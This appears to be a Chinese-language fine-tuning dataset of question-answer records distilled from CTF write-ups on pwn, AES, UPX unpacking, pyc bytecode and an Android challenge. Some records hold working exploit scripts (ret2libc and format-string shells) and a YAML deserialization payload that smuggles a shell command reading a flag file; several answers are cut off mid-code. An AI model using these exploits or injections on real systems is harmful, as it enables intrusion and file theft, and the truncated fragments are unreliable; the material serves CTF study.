{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2356764cf5836c196160", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“flag-market”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. scanf 写入 oflag 无限制。\n2. 可以覆盖掉 format 字符串。\n3. `printf`会打印`format`字符串，所以如果`format`字符串被覆盖掉就会产生格式化字符串漏洞。\n4. 由于`memset`的存在将栈上的 flag 清空了，所以我们无法通过格式化字符串漏洞从栈上读取 flag。\n5. 但是由于 I/O 类型的函数（如fopen、fgets）为了提高效率，会用到缓冲机制，这个缓冲机制通过调用 malloc 来实现的。\n6. 使用`fopen`时在内部会调用`malloc`来开辟一片空间，这片空间中会存放一个叫`FILE`的结构体，该结构体用于管理文件的描述符、当前读写位置、是否发生了错误、指向缓冲区的指针。光有管理结构还不够，还需要一个地方来存放从文件里预读出来的数据。这个地方就是I/O缓冲区。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::c0f2ca19c4349d96", "original_line": 29, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "flag-market", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "c0f2ca19c4349d96", "source_split": "test", "split": "train", "split_group_key": "fa0e49ae70c0d5dee48efe2c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2359c6eca2375b73e1df", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“逆向分析”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：AES / 逆向分析\n关键词：Box、unsigned\n蒸馏要点：\n- 密钥长度为 16/24/32 字节\n- 分组长度为 16 字节\n- IV 长度为 16 字节\n- 输出长度对齐到 16 字节倍数\n- S Box 常量特征\n可用于训练的标准回答：\n## 逆向分析\n\n- S盒\n- 密钥长度为 16/24/32 字节\n- 分组长度为 16 字节\n- IV 长度为 16 字节\n- 输出长度对齐到 16 字节倍数\n\n* S Box 常量特征\n\n```c\nunsigned char S[256] = {\n        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a7102582c02ff159", "original_line": 705, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "逆向分析", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a7102582c02ff159", "source_split": "train", "split": "train", "split_group_key": "d4407a93ba052061fbf2965c", "tags": ["reverse", "crypto"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2388b3c9c0a83f6aaa0f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《UPX 脱壳详解》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：UPX 脱壳详解\n领域标签：pwn, reverse, ctf-method\n知识结构：简介 -> 工具脱壳 -> UPX工具脱壳 -> UPX魔改壳 -> 手脱 -> EXE -> ELF\n关键术语：UPX、OEP、upx、ImageBase、upx1、upx0、CTF、auto、UPX1、dump、e_phoff、e_phnum、dumpfile、UPX0、Dword、rpx\n核心要点：\n- UPX 壳是一种压缩壳，在 CTF 比赛中比较常见。\n- 针对 UPX 壳有专业的脱壳工具，一般我们可以直接使用工具脱壳。\n- 但是在比赛中往往不会让你那么简单就把壳脱掉，出题人会通过修改加壳程序的一些特征导致脱壳工具无法使用。\n- 这个时候我们可以通过恢复修改掉的地方让工具继续奏效。\n- 当然我们也可以直接手脱，手动脱壳我们就需要找到加壳程序的 OEP 然后 dump 文件内存。\n- OEP 原始程序入口点。EP (Entry Point)，意即程序的入口点。而 OEP 是程序的原始入口点，一个正常的程序只有 EP，只有入口点被修改的程序（加壳），才会拥有OEP。\n- UPX（Ultimate Packer for eXecutables）是一个开源的可执行文件压缩器，用于减小可执行文件的大小，同时保持其功能。UPX 支持多种操作系统，包括 Linux、Windows 和 macOS。\n- UPX 脱壳工具使用请参考这篇文章。\n- UPX 脱壳工具使用：【逆向】UPX工具使用及加壳_upx.exe-CSDN博客\n- 直接使用 UPX 脱壳工具进行脱壳", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::50f3e18e76a72071", "original_line": 1018, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "50f3e18e76a72071", "source_split": "train", "split": "train", "split_group_key": "0cdee3810213b425bf65ea8d", "tags": ["pwn", "reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2486c6cfbc1d7832dc50", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“2024极客大挑战 blastingmaster”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：Hash 类算法 / 2024极客大挑战 blastingmaster（第 2 段）\n关键词：cipher\n蒸馏要点：\n- cipher = [0xB2, 0x50, 0xA0, 0xBC, 0x3A, 0x7F, 0x54, 0x6D, 0x96, 0x07, 0x0F, 0x71, 0x9A, 0x72, 0xEB, 0xA5, 0xA0, 0xB5, 0x71, 0xA4, 0x6A, 0xB8, 0xBA, 0xFA, 0xE...\n可用于训练的标准回答：\ncipher = [0xB2, 0x50, 0xA0, 0xBC, 0x3A, 0x7F, 0x54, 0x6D, 0x96, 0x07, 0x0F, 0x71, 0x9A, 0x72, 0xEB, 0xA5, 0xA0, 0xB5, 0x71, 0xA4, 0x6A, 0xB8, 0xBA, 0xFA, 0xE4, 0x31, 0xC3, 0x71, 0x54, 0x29, 0xA7, 0x59, 0x20, 0x2B, 0x13, 0x21, 0xBD, 0x67, 0x5F, 0x8D, 0x65, 0x3A, 0x02, 0x27, 0x08, 0x4F, 0x92, 0x9C, 0xB5, 0x7C, 0xDF, 0x69, 0x34, 0xB8, 0x82, 0x2D, 0xF6, 0xCA, 0x7A, 0x65, 0x98, 0x63, 0xDC, 0x51, 0x2A, 0x34, 0x97, 0x4F, 0xF8, 0xBC, 0x23, 0x1F, 0x38, 0xA8, 0xA6, 0x2F, 0xA9, 0x0D, 0x64, 0x4C, 0xAC, 0x2F, 0xF9, 0xF5, 0x2D, 0xB1, 0x91, 0xA8, 0xD5, 0x76, 0xD9, 0x2D, 0xC6, 0xAC, 0x2E, 0x69, 0x32, 0xD5, 0x64, 0x1D, 0xC1, 0x3C, 0xEC, 0xF5, 0x2C, 0x90, 0xED, 0xF4, 0x17, 0x8B, 0x55, 0x4C, 0xE4, 0x6C, 0x3B, 0xB3, 0xDA, 0x29, 0xC0, 0x7B, 0x39, 0xDF, 0x92, 0x73, 0xFC, 0xC9, 0xC2, 0xA8, 0x68, 0x11, 0x22, 0x2B, 0x64, 0x3F, 0x12, 0x9B, 0x95, 0x73, 0x2A, 0x05, 0xD3, 0x3F, 0x2E, 0x33, 0xF1, 0x85, 0xED, 0x07, 0x...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::30922bbf327b3e2b", "original_line": 82, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2024极客大挑战 blastingmaster", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "30922bbf327b3e2b", "source_split": "validation", "split": "train", "split_group_key": "dccf9f1a4d48366a9f8361b2", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-24c38de3448dd5b49e52", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“常量”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“常量”。\n关联知识点：\n- `LOAD_CONST`用于加载常量，比如数值、字符串等等，一般用于传给函数的参数，例如：\n- 转为 python 代码就是\n代码片段：\n```\n12 LOAD_GLOBAL     1 (test)\n15 LOAD_FAST       0 (2)\n18 LOAD_CONST      1 (\"output\")\n21 CALL_FUNCTION   2\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::419d63b6b857ba31", "original_line": 63, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "常量", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "419d63b6b857ba31", "source_split": "validation", "split": "train", "split_group_key": "5c442e33da44845817d7615d", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-262b4fe84a502d1d544a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“算法逻辑”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. AES 的标准要求：\n2. 分组大小为128位的分组密码\n3. 支持三种密码标准：128位、192位和256位。\n4. AES 位分组密码，加密时会将明文按照 128 位分成一组，要求每组的长度相等，每次加密一组数据，直到加密完整个明文。在AES标准规范中，分组长度只能是128位，也就是说，每个分组为16个字节（每个字节8位）。密钥的长度可以使用128位、192位或256位。密钥的长度不同，推荐加密轮数也不同，如下表所示：\n5. | AES     | 密钥长度 | 分组长度 | 加密轮数 |\n6. | AES-128 | 16字节   | 16字节   | 10       |", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::762d720d0c1fcef3", "original_line": 668, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "762d720d0c1fcef3", "source_split": "train", "split": "train", "split_group_key": "71e1f72c917aeba3f3df0fbb", "tags": ["crypto"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-265ea33f731ccff2581d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“思路”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / 思路（第 3 段）\n关键词：Intent、ACTION_VIEW、new、com、qinquang、calc、fallback、intent2、YAML、app\n蒸馏要点：\n- // 构造第一次攻击的 Intent —— 调用目标 app 的 deep link 接口\n- Intent intent1 = new Intent(Intent.ACTION_VIEW, Uri.parse(\"qiangcalc://calculate?expression=\" + uri));\n- // 指定包名，确保只发往 com.qinquang.calc\n- intent1.setPackage(\"com.qinquang.calc\");\n- // 启动目标 App（第一次交互）\n- startActivity(intent1);\n- 第二步：发送除零表达式（0/0），可能触发目标 App 的错误处理逻辑，\n可用于训练的标准回答：\n// 构造第一次攻击的 Intent —— 调用目标 app 的 deep link 接口\n            Intent intent1 = new Intent(Intent.ACTION_VIEW, Uri.parse(\"qiangcalc://calculate?expression=\" + uri));\n            // 指定包名，确保只发往 com.qinquang.calc\n            intent1.setPackage(\"com.qinquang.calc\");\n            // 启动目标 App（第一次交互）\n            startActivity(intent1);\n\n/**\n             * 第二步：发送除零表达式（0/0），可能触发目标 App 的错误处理逻辑，\n             * 使其加载 fallback intent（即回调当前攻击程序），\n             * 从而进入第二阶段（yamlUri != null）。\n             */\n            Log.d(TAG,\"触发除零错误以启动 fallback\");\n            Intent intent2 = new Intent(Intent.ACTION_VIEW, Uri.parse(\"qiangcalc://calculate?expression=0%2F0\"));\n            intent2.setPackage(\"com.qinquang.calc\");\n            // 将 fallback intent 放入 extra 中\n            intent2.putExtra(\"fallback\",fallBackIntent);\n            startActivity(intent2);\n\n// 结束第一次执行\n            finish();\n            return ;...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::da89ec2934c5ca80", "original_line": 941, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "da89ec2934c5ca80", "source_split": "train", "split": "train", "split_group_key": "86bf1c732d33a4f40d28aa7c", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-26f2e71930cbfe96c258", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“思路”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / 思路（第 1 段）\n关键词：import、com、qinquang、calc、java、data、SHA、flag、android、history\n蒸馏要点：\n- 将 flag 写入到可控的 history.yaml 然后再读取出来。\n- 构造出的 yaml 文件如下：\n- 综上，利用链可总结为：\n- 传入intent scheme 到 fallback 中\n- 触发除 0 异常调用`BridgeActivity`获取`history.yml`读写权限，并启动fallback intent（由于这个是我们自己传入的，所以我们可以再次启动我们自己的Activity）\n- 回调到我们的 Activity，对`history.yml`文件写入poc\n- 正常进行一次计算，触发反序列化漏洞\n可用于训练的标准回答：\n### 思路\n\n将 flag 写入到可控的 history.yaml 然后再读取出来。\n\n构造出的 yaml 文件如下：\n\n```yaml\n\"!!com.qinquang.calc.PingUtil \"8.8.8.8; FLAG=(cat /data/data/com.qinquang.calc/flag-*.txt); echo --nflag:FLAG\\n...\" > /data/data/com.qinquang.calc/files/history.yml\"\n```\n\n综上，利用链可总结为：\n\n+ 传入intent scheme 到 fallback 中\n+ 触发除 0 异常调用`BridgeActivity`获取`history.yml`读写权限，并启动fallback intent（由于这个是我们自己传入的，所以我们可以再次启动我们自己的Activity）\n+ 回调到我们的 Activity，对`history.yml`文件写入poc\n+ 正常进行一次计算，触发反序列化漏洞\n+ 等待 flag 写入 yml 文件后，读取出 flag\n\n由于是复现，就不将flag发送到外网了，这里就直接将flag写到log里，exp如下\n\n读取`/data/data/com.qinquang.calc/files/`下的flag.txt。\n\n```java\npackage com.example.qcalc;\n\nimport android.content.Intent;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.util.Log;\nimport androidx.appcompat.app.AppCompatActivity;\n\nimport java.io.BufferedReader;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b4819701820b01c7", "original_line": 666, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b4819701820b01c7", "source_split": "train", "split": "train", "split_group_key": "88a9aa979970b2ac9c0fa04b", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-27b80d2762d46232c5fd", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[BJDCTF 2020]babyrop2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [BJDCTF 2020]babyrop2\n关键词：p64、elf、sla、canary、payload、puts、puts_addr、libc、rdi、base\n可用于训练的标准回答：\n### [BJDCTF 2020]babyrop2\n\n#格式化字符串 #ret2libc #泄露canary\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nfmt=b\"%11$p\"\nsla(\"help u!\\n\",fmt)\ncanary=int(r(18),16)\nprint(hex(canary))\nrdi=0x0000000000400993\nret=0x00000000004005f9\n\npayload=b'a'*24+p64(canary)+p64(1234)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nsla(\"story!\\n\",payload)\nputs_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=libc.dump(\"str_bin_sh\")+base\nprint(hex(puts_addr))\npayload=b'a'*24+p64(canary)+p64(1234)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsla(b\"help u!\\n\",b\"asdf\")\nsla(b\"story!\\n\",payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::423dc6c68c9082c1", "original_line": 659, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[BJDCTF 2020]babyrop2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "423dc6c68c9082c1", "source_split": "train", "split": "train", "split_group_key": "783fae153997e10d5e1108e3", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2863796258e504fe1c3a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[SDCTF 2022]Oil Spill”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[SDCTF 2022]Oil Spill”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nputs_addr=int(r(14),16)\nprint(hex(puts_addr))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=0x600c80\nfmtpay=fmtstr_payload(8,{elf.got.puts:sys,sh:\"/bin/sh\\x00\"})\ns(fmtpay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::32ae82822b4515f6", "original_line": 39, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SDCTF 2022]Oil Spill", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "32ae82822b4515f6", "source_split": "test", "split": "train", "split_group_key": "99207d4117852817cb4f41aa", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-28f8720c9ed9cfe7f4f6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“算法逻辑”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。", "role": "user"}, {"content": "出处：AES / 算法逻辑（第 4 段）\n关键词：AES、ECB、CBC、ShiftRows、MixColumns、AddRoundKey、XOR、的密钥对密文进行加密、一次只解密、密钥对密文组进行解密\n蒸馏要点：\n- 行移位（ShiftRows）：简单的左循环移位操作。当密钥长度为 128 比特时，状态矩阵的第 0 行左移 0 字节，第 1 行左移 1 字节，第 2 行左移 2 字节，第 3 行左移 3 字节。\n- 行移位的逆变换是将状态矩阵中的每一行执行相反的移位操作，例如 AES-128 中，状态矩阵的第 0 行右移 0 字节，第 1 行右移 1 字节，第2行右移 2 字节，第 3 行右移 3 字节。\n- 列混合（MixColumns）：列混合变换是通过矩阵相乘来实现的，经行移位后的状态矩阵与固定的矩阵相乘，得到混淆后的状态矩阵，如下图所示：\n- 状态矩阵中的第j列(0 ≤j≤3)的列混合可以表示为下图所示：\n- 轮密钥加（AddRoundKey）：当前分组和扩展密钥的一部分进行按位异或XOR。\n- ECB 模式就是使用相同的密钥对密文进行加密，一次只解密一组明文。解密时页也使用相同的密钥对密文组进行解密，一次解密一组密文。\n- CBC 模式就是加密的算法输入是明文分组和前一个密文分组的异或，同样均使用相同的密钥进行加密。其中第一个明文加密时，需先于初始向量 IV 异或，再进入加密算法进行加密。\n可用于训练的标准回答：\n- 行移位\n\n1. 行移位操作\n\n行移位（ShiftRows）：简单的左循环移位操作。当密钥长度为 128 比特时，状态矩阵的第 0 行左移 0 字节，第 1 行左移 1 字节，第 2 行左移 2 字节，第 3 行左移 3 字节。\n\n2. 行移位的逆变换\n\n行移位的逆变换是将状态矩阵中的每一行执行相反的移位操作，例如 AES-128 中，状态矩阵的第 0 行右移 0 字节，第 1 行右移 1 字节，第2行右移 2 字节，第 3 行右移 3 字节。\n\n3. 列混合操作\n\n列混合（MixColumns）：列混合变换是通过矩阵相乘来实现的，经行移位后的状态矩阵与固定的矩阵相乘，得到混淆后的状态矩阵，如下图所示：\n\n状态矩阵中的第j列(0 ≤j≤3)的列混合可以表示为下图所示：\n\n- 轮密钥加\n\n轮密钥加（AddRoundKey）：当前分组和扩展密钥的一部分进行按位异或XOR。\n\n- 密钥扩展\n\nECB 模式就是使用相同的密钥对密文进行加密，一次只解密一组明文。解密时页也使用相同的密钥对密文组进行解密，一次解密一组密文。\n\nCBC 模式就是加密的算法输入是明文分组和前一个密文分组的异或，同样均使用相同的密钥进行加密。其中第一个明文加密时，需先于初始向量 IV 异或，再进入加密算法进行加密。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::test::distilled_training_data::test::ad743070416a8a0a", "original_line": 24, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "ad743070416a8a0a", "source_split": "test", "split": "train", "split_group_key": "aecffc35907f6e24c5e7e98a", "tags": ["crypto"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-290737f2e846f78edae6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《UPX 脱壳详解》中“ELF”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《UPX 脱壳详解》的“ELF”。\n语言/类型：c\n关联知识点：\n- 自己写一段代码编译加壳。\n- 编译，这里需要静态编译，要不然文件太小加不了壳。\n- 加壳，可以看到加壳成功\n- exeinfo 扫一下，可以看到显示 upx 壳\n- 直接在`start`启动函数位置下断点，然后动态调试。\n代码片段：\n```c\n#include\nint main()                                                                                                            1 {\n    char buf[10]={0};\n    puts(\"input:\");\n    read(0,buf,10);\n    printf(\"%s\",buf);\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1d3d983c1e88161b", "original_line": 876, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", 